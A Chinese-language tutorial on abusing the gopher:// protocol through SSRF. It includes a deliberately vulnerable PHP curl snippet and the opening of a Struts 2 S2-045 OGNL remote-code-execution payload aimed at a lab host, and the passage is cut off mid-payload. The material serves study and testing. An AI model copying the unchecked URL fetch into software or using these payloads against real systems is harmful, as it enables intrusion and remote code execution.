gopher 协议
协议简介
gopher 协议是一个在http 协议诞生前用来访问Internet 资源的协议可以理解为http 协议的前身或简化版,虽然很古老但现在很多库还支持gopher 协议而且gopher 协议功能很强大。
它可以实现多个数据包整合发送,然后gopher 服务器将多个数据包捆绑着发送到客户端,这就是它的菜单响应。比如使用一条gopher 协议的curl 命令就能操作mysql 数据库或完成对redis 的攻击等等。
gopher 协议使用tcp 可靠连接。
协议格式
gopher url 格式为:
gopher://:/
默认为70。
其中格式可以是如下其中的一种
%09
%09%09
整个部分可以省略,这时候\也可以省略为默认的1。
是一个单字符用来表示url 资源的类型,在常用的安全测试中发现不管这个字符是什么都不影响,只要有就行了。
个人理解这个是包的内容,为了避免一些特殊符号需要进行url 编码,但如果直接把wireshark 中ascii 编码的数据直接进行url 编码然后丢到gopher 协议里跑会出错,得在wireshark 里先换成hex 编码的原始数据后再每两个字符的加上%,通过对比发现直接url 编码的话会少了%0d回车字符。
用于向gopher 搜索引擎提交搜索数据,和之间用%09隔开。
是获取gopher+ 项所需的信息,gopher+ 是gopher 协议的升级版。
gopher 协议在ssrf 中的利用
出现ssrf 的地方如果没有对协议、ip、端口等一些东西进行限制,则可以用来探测内网存活的ip 及开放的端口、读取任意文件、利用phar 协议触发反序列化、攻击内网redis/memcache/mysql 及web 应用fastcgi 或其他服务等等。
而gopher 协议在其中占了很重要的角色。
测试代码
java 中的ssrf 漏洞的限制比php 多得的,而且gopher 协议在jdk8 中就被移除了,所以这次测试都是使用如下的php 代码。
$url = $_GET['url'];
$curlobj = curl_init($url);
curl_setopt($curlobj, CURLOPT_HEADER, 0);
curl_exec($curlobj);
?>
攻击内网web 服务
当通过ssrf 发现内网存在着一些比较脆弱的web 服务,比如有存在struts 2漏洞的web 服务,就可以尝试使用gopher 协议把poc 发送过去实现rce,比如下面复现的这个内网struts 2 s2-045漏洞就是通过gopher 协议提交位于header 内的poc 来完成rce。
实验中存在ssrf 漏洞的靶机是192.168.73.150,存在struts 2 s2-045 漏洞的内网靶机是192.168.123.155(假装它们在同一内网)。
通常的s2-045 的poc 如下
GET /showcase.action HTTP/1.1
Host: 192.168.123.155:8080
Content-Type:%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2